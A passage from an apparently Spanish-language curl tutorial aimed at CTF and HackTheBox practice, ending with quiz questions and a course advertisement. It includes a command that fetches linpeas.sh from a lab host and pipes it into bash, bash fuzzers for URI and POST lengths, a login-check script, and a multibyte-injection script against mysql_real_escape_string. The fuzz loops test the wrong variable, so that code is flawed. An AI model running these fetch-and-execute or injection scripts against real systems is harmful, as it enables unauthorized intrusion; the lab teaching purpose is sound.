descargados, datos recibidos, tiempo promedio y algunas otras estadísticas
sobre los datos.
Para verificar los datos descargados, abra el archivo ejecutando el comando
cat
cat alvaro.html
1.
Considere la siguiente instantánea de salida:
Consulta de encabezados HTTP
Los encabezados HTTP contienen información adicional que permite al
servidor web descargar esta información. Para consultar los encabezados
HTTP de un sitio web, ejecute el comando con la opción ‘-I’ de la siguiente
manera:
curl -I https://achirou.com
El comando anterior producirá el siguiente resultado:
Hackear con cURL
Ahora que hemos cubierto la sintaxis básica y los casos de uso, aquí hay
algunas aplicaciones de hacking prácticas que son muy útiles en Hackthebox
o cajas CTF.
Usando cURL para canalizar un scipt remoto (linpeas.sh) directamente a
bash:
$ curl -sSk "http://10.10.10.10/linpeas.sh" | bash
Atacar un formulario de inicio de sesión con cURL
http://10.10.10.10/login.php
Creando nuevos usuarios con cURL
$ curl --data "name=test&[email protected]&password=test"
http://10.10.10.10/newuser.php
Fuzzing servidores web con cURL
A menudo, al realizar una evaluación de un servidor web, intentaremos
desencadenar condiciones de error que proporcionarán información más
profunda sobre los procesos y el software subyacentes. cURL puede ser una
poderosa herramienta de fuzzing para generar estos mensajes de error de
casos extremos.
Fuzzing con límites de longitud de URI / GET de longitud de parámetro con
cURL
El siguiente script se puede utilizar para crear un servidor web con una URL
larga, realizar un seguimiento de los cambios en la salida y escribir la salida
en un archivo. Está destinado a ser una base para que construya un fuzzer
adecuado para su propósito usando cURL y Bash. Puede modificar la URL
para difuminar un URI o un parámetro GET.
Aquí está el script de bash shell:
#!/bin/bash
echo "args: <URL> <Start Length #> <End Length #> <Output Filepath>"
echo "Length Lines Words Bytes Filename"
echo "---------------------------------"
for ((i = $2; x <= $3; i++))
do
fuzz=""
for ((x = 1; x <= $i; x++))
do
fuzz+="A"
done
#echo "COUNT: $i $fuzz"
#echo "${1}${fuzz}"
echo "${i}" | { tr -d '\n' ; curl "${1}${fuzz}" -o ${4} 2>/dev/null | wc
${4}; }
done
A continuación se muestra un ejemplo de cómo se ve en ejecución:
./fuzz_url.sh http://10.10.10.10/ 1000 1000000 output.txt
args: <URL> <Start Length #> <End Length #> <Output Filepath>
Length Lines Words Bytes Filename
---------------------------------
1000 9 31 274 output.txt
...
...
100000 11 37 343 output.txt
100001 11 37 343 output.txt
100002 11 37 343 output.txt
100003 11 37 343 output.txt
100004 11 37 343 output.txt
100005 11 37 343 output.txt
Fuzzing límites de longitud del parámetro POST con cURL
El siguiente script se puede utilizar para modificar los parámetros POST de
un servidor web y escribir la salida en un archivo y realizar un seguimiento
de los cambios en esa salida. Está destinado a ser una base para que
construya un fuzzer adecuado para su propósito usando cURL y Bash.
Aquí está el script de bash shell:
#!/bin/bash
echo "args: <URL> <Start Length #> <End Length #> <Output Filepath>
<Post data: var=value&var2=valuefuzz>"
echo "Length Lines Words Bytes Filename"
echo "---------------------------------"
for ((i = $2; x <= $3; i++))
do
fuzz=""
for ((x = 1; x <= $i; x++))
do
fuzz+="A"
done
#echo "COUNT: $i $fuzz"
#echo "${5}${fuzz}"
echo "${i}" | { tr -d '\n' ; curl "${1}" -o ${4} -d "${5}${fuzz}"
2>/dev/null | wc ${4}; }
done
A continuación se muestra un ejemplo de cómo se ve en ejecución:
./fuzz_post.sh http://10.10.10.10/ 1000 1000000 output.txt
"user=test&password=test"
args: <URL> <Start Length #> <End Length #> <Output Filepath>
Length Lines Words Bytes Filename
---------------------------------
1000 9 31 274 output.txt
...
...
100000 11 37 343 output.txt
100001 11 37 343 output.txt
Verifique si el inicio de sesión de un usuario es correcto en un script Bash
El siguiente script se puede utilizar para verificar que un nombre de usuario
y un inicio de sesión sean correctos. Está destinado a ser una base para que
construya un fuzzer adecuado para su propósito usando cURL y
Bash. Verificará los caracteres de longitud de la respuesta para ver si es una
respuesta válida. Deberá ajustar el recuento de caracteres esperado para su
aplicación.
#!/bin/bash
result=($(curl --data "email=$2&password=$3" "$1" 2>/dev/null | wc -c))
echo $result
if [ "$result" == '0' ]
then
echo 'zero'
else
echo 'NOT zero'
fi
Aquí está el guión en acción:
$ ./check_user.sh http://10.10.10.10/login.php [email protected] testpassword
NOT zero
Automatizar la creación de usuarios y probar la omisión de
mysql_real_escape_string
Está destinado a ser una base para que construya un fuzzer adecuado
usando cURL y Bash. Aquí hay un script bash que creé para un CTF para
validar una teoría que tenía sobre el uso del método PHP
mysql_real_escape_string:
#!/bin/bash
# Test for mysql_real_escape_string
[email protected]
password=1234567890123456789012345678901234567890123456789012
345678901234567890123456789
fuzz="뽜’’AA"
name="‘¿’’AA"
ip="10.10.10.10"
echo "Creating User: ${email}"
curl -i -b 'cookies.txt' -c 'cookies.txt' -d "name=${name}&email=$
{email}&password=${password}&type=Admin" "http://${ip}/index.php"
2>/dev/null
echo " "
echo
"============================================"
echo "Login as User"
echo
"============================================"
curl -i -c 'cookies.txt' -d "email=${email}&password=$
{password}&type=Admin" "http://${ip}/index.php" 2>/dev/null | grep
'location'
echo " "
echo
"============================================"
echo "Check user profile with cookie"
echo
"============================================"
curl -b 'cookies.txt' "http://${ip}/index.php" -v 2>/dev/null | grep 'td
align="center"'
echo " "
echo
"============================================"
echo "Change Name"
echo
"============================================"
curl -b 'cookies.txt' -d "name=${fuzz}&type=Admin" "http://${1}/index.php"
echo " "
curl -b 'cookies.txt' "http://${ip}/profile.php" 2>/dev/null | grep 'td
align="center"'
echo " "
echo " DELETEING COOKIE "
rm cookies.txt
echo
"============================================"
echo "Relogin as User - did password change?"
echo
"============================================"
curl -i -c 'cookies.txt' -d "email=${email}&password=$
{password}&type=Admin" "http://${ip}/index.php" 2>/dev/null | grep
'location'
echo " "
echo " DONE!"
echo " DELETEING COOKIE "
rm cookies.txt
El comando curl tiene más opciones que puedes explorar
curl –help
También te recomendamos consultar las páginas man:
man curl
Resumen del artículo sobre el comando curl en Linux
1. ¿Qué es curl y libcurl?
curl: Herramienta para transferir datos a través de protocolos como
HTTP, FTP, IMAP, y más, diseñada para operar sin intervención del
usuario.
libcurl: Biblioteca de transferencia de URL utilizada en segundo plano
por curl para soportar una amplia gama de protocolos y sistemas
operativos.
2. Instalación del comando curl
En la mayoría de sistemas Linux, curl viene preinstalado. Si no, puede
instalarse con: sudo apt install curl
Para verificar la instalación: curl --version
3. Sintaxis básica de curl
Sintaxis general: curl [opciones] [URL]
Ejemplo: curl https://example.com
4. Opciones principales de curl
-O y -o: Descarga archivos, ya sea con su nombre original (-O) o uno
especificado (-o).
-L: Sigue redirecciones HTTP.
-I: Muestra solo los encabezados HTTP de una solicitud.
-d: Envía datos en una solicitud POST.
-H: Define encabezados HTTP personalizados.
-b: Maneja cookies en solicitudes.
-u: Realiza autenticación HTTP básica.
–data-urlencode: Codifica datos en la URL para solicitudes HTTP
POST.
5. Ejemplos prácticos del comando curl
Solicitudes GET: curl "https://example.com/api?query=value"
Solicitudes POST: curl -d "param1=value1¶m2=value2" -X POST
https://example.com/api
Manejo de cookies: curl -b cookies.txt -c newcookies.txt
https://example.com
Descarga de archivos: curl -O https://example.com/file.zip
Interacción con API: curl -X GET -H "Authorization: Bearer <token>"
https://api.example.com/resource
6. Uso avanzado de curl para pruebas de seguridad
Ejecución de scripts remotos: curl -s "http://example.com/script.sh"
| bash
Fuzzing de servidores web:
Fuzzing de límites de URI o parámetros POST con curl y Bash
para pruebas de seguridad.
Verificación de autenticación de usuarios:
Automatización de verificación de inicios de sesión con scripts
de curl.
7. Automatización y scripting con curl en Bash
Scripts de Bash para realizar múltiples solicitudes curl y explorar datos
en un contexto de pruebas de seguridad.
Ejemplos de automatización con loops y condiciones para manejar
datos de salida y respuestas de autenticación.
Conclusión
curl es una herramienta potente y versátil que permite una amplia gama de
operaciones de red desde la línea de comandos. Su soporte para múltiples
protocolos, junto con su capacidad de integración en scripts Bash, lo hace
invaluable en tareas como administración de sistemas, desarrollo web y
pruebas de seguridad.
Pon en práctica lo aprendido
Ahora pon a prueba lo aprendido con estas preguntas y ejercicios.
10 Preguntas sobre el comando curl en Linux:
1. ¿Cuál es la función principal del comando curl en Linux?
2. ¿Qué diferencia hay entre los métodos de solicitud
HTTP GET y POST cuando se usa curl?
3. ¿Para qué sirve la opción -o en curl?
4. ¿Cómo se usa curl para enviar cookies a un servidor web?
5. ¿Qué hace la opción -L en curl?
6. ¿Cómo puedes usar curl para descargar múltiples archivos de URLs
similares en una sola línea?
7. ¿Para qué se utiliza -d o --data en curl?
8. ¿Cuál es la función de la opción -I en curl?
9. ¿Cómo puedes obtener solo los encabezados HTTP de una URL
usando curl?
10. ¿Qué permite la opción --cookie-jar en curl?
10 Ejercicios basados en el comando curl:
1. Usa curl para descargar el contenido de un sitio web y guárdalo en un
archivo.
2. Realiza una solicitud GET a una URL usando curl y observa el código
HTML de la respuesta.
3. Ejecuta una solicitud POST simulando el envío de un formulario en curl.
4. Descarga un archivo de una URL específica utilizando curl y cámbiale
el nombre en la descarga.
5. Usa curl para realizar una solicitud GET con una variable en la URL
(parámetro GET).
6. Envía cookies al servidor web usando curl.
7. Realiza una solicitud POST para iniciar sesión en un sitio
usando curl con --data.
8. Descarga un archivo de un servidor FTP usando curl.
9. Realiza una solicitud HTTP a una API pública usando curl y obtén una
respuesta en formato JSON.
10. Usa curl para reanudar la descarga de un archivo que quedó
interrumpida.
Respuestas detalladas a las preguntas:
1. Función de curl: curl se usa para transferir datos entre un cliente y
un servidor, compatible con numerosos protocolos, como HTTP, FTP y
SFTP.
2. Diferencia entre GET y POST: GET envía parámetros en la URL y es
visible en la barra de direcciones; POST envía datos en el cuerpo de la
solicitud y se usa en formularios y API.
3. Opción -o en curl: Especifica el archivo donde se guardará el
contenido descargado curl -o archivo.html https://example.com
4. Enviar cookies con curl: Usa -b para especificar cookies, como
en: curl -b "PHPSESSID=abcd1234" https://example.com
5. Opción -L en curl: Permite que curl siga redirecciones hasta el
destino final de la URL.
6. Descargar múltiples archivos en una sola línea: Usa {} para
especificar partes variables en la URL: curl -O
https://example.com/file{1..3}.txt
7. Función de -d o --data: Envían datos en una solicitud POST,
simulando el envío de un formulario: curl -d
"usuario=admin&clave=1234" https://example.com/login.php
8. Opción -I en curl: Solicita solo los encabezados HTTP de la URL: curl -
I https://example.com
9. Obtener solo encabezados HTTP: Usa -I para obtener detalles como
estado HTTP y tipo de contenido sin descargar el contenido completo.
10. Función de --cookie-jar: Guarda las cookies generadas en una
sesión en un archivo específico para reutilizarlas después.
Respuestas detalladas a los ejercicios:
1. Descargar el contenido de un sitio web: curl -o sitio.html
https://example.com Guarda el código HTML en sitio.html.
2. Realizar una solicitud GET: curl https://example.com Muestra el
contenido HTML de la URL en la terminal.
3. Simular el envío de un formulario: curl --data
"nombre=usuario&clave=password"
https://example.com/login.php Envía datos simulando un formulario de
inicio de sesión.
4. Descargar y renombrar un archivo: curl -o nuevo_nombre.txt
https://example.com/archivo.txt Descarga el archivo y lo guarda
como nuevo_nombre.txt.
5. Solicitud GET con variable en la URL: curl
"https://example.com/page.php?id=123" Realiza la solicitud
con id como parámetro GET.
6. Enviar cookies con curl: curl -b "nombre=alvaro;edad=30"
https://example.com Envía cookies como nombre y edad al servidor.
7. Solicitud POST de inicio de sesión: curl --data
"usuario=admin&clave=1234"
https://example.com/login.php Usa POST para enviar datos de inicio de
sesión.
8. Descargar un archivo FTP: curl
ftp://usuario:
[email protected]/archivo.zip -O Descarga el
archivo archivo.zip del servidor FTP.
9. Solicitud HTTP a una API en JSON: curl -H "Content-Type:
application/json" https://api.example.com/data Realiza la solicitud y
obtiene respuesta en JSON.
10. Reanudar una descarga interrumpida: curl -C - -O
https://example.com/archivo.zip Continúa
descargando archivo.zip desde el punto donde quedó interrumpido.
No te detengas, sigue avanzando
Aquí tienes un propósito que debes considerar seriamente: si has querido
mejorar tus habilidades en hacking, Ciberseguridad y programación ahora es
definitivamente el momento de dar el siguiente paso. ¡Desarrolla tus
habilidades aprovechando nuestros cursos a un precio increíble y avanza en
tu carrera! El mundo necesita más hackers…